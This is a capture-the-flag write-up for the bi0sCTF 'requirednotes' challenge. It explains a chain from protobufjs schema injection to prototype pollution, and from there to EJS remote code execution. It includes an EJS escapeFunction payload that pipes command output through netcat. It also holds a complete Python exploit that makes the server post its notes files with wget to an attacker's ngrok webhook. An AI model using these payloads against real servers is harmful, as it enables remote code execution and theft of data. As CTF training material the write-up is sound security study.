Protobuf Prototype Pollution To EJS RCE

#ctf
#ejs
#protobuf
#rce
#prototypepollution

from ctf bi0sctf :
requirednotes.zip

Identify the exploit :

Manipulate settings.proto

app.post("/customise", (req, res) => {
try {
const { data } = req.body;
let author = data.pop()["author"];
let title = data.pop()["title"];
let protoContents = fs.readFileSync("./settings.proto", "utf-8").split("\n");

if (author) {
// we can add other types, and declared default. we assume we can overwrite the content to be default is xss?
protoContents[5] = ` ${author} string author = 3 [default="user"];`;
}

if (title) {
protoContents[3] = ` ${title} string title = 1 [default="user"];`;
}

fs.writeFileSync("./settings.proto", protoContents.join("\n"), "utf-8");

// For debugging in docker 
console.log(protoContents.join("\n"));

...

we can manipulate the scheme settings.proto to produce prototype pollution
reff : https://www.code-intelligence.com/blog/cve-protobufjs-prototype-pollution-cve-2023-36665

option(a).constructor.prototype.verified = true;

and the server using ejs that vuln to rce also
reff : https://mizu.re/post/ejs-server-side-prototype-pollution-gadgets-to-rce

{
    "__proto__": {
        "client": 1,
        "escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"
    }
}

so we can use prototype pollution it will be the full payload

FULL PAYLOAD PROTOTYPE POLLUTION TO RCE IN PROTOBUFJS AND EJS

option(a).constructor.prototype.client = true;
option(a).constructor.prototype.escapeFunction = "JSON.stringify; process.mainModule.require('child_process').exec('')"

full payload in python :

import httpx

BASE_URL = "http://localhost:3000"
ATTACKER_WEBHOOK = "https://db24-43-252-9-54.ngrok-free.app"

class Base:
    def __init__(self, url=BASE_URL) -> None:
        self.c = httpx.Client(base_url=url)

    def prototype_pollution(self, payload) :
        self.c.post(
            "/customise",
            json={
                "data": [
                    {},
                    {
                        "author": payload,
                    },
                ]
            },
        )       
        ## to trigger the prototype pollution.
        self.c.post("/create", json={})

    def trigger_payload(self):
        return self.c.get("/create")

class AddOns(Base):
    ...


if __name__ == "__main__":
    api = Base()
    api.prototype_pollution("""
    optional string author = 3 [default="user"];
}

option(a).constructor.prototype.client = 1;
option(a).constructor.prototype.escapeFunction = "JSON.stringify; process.mainModule.require('child_process').exec('wget """+ATTACKER_WEBHOOK+""" --post-data= "$(cat notes/*)')"

message X {
    optional
""".strip())
    api.trigger_payload()

Obtain the flag :
Pasted image 20240226133133.png

Thanks for :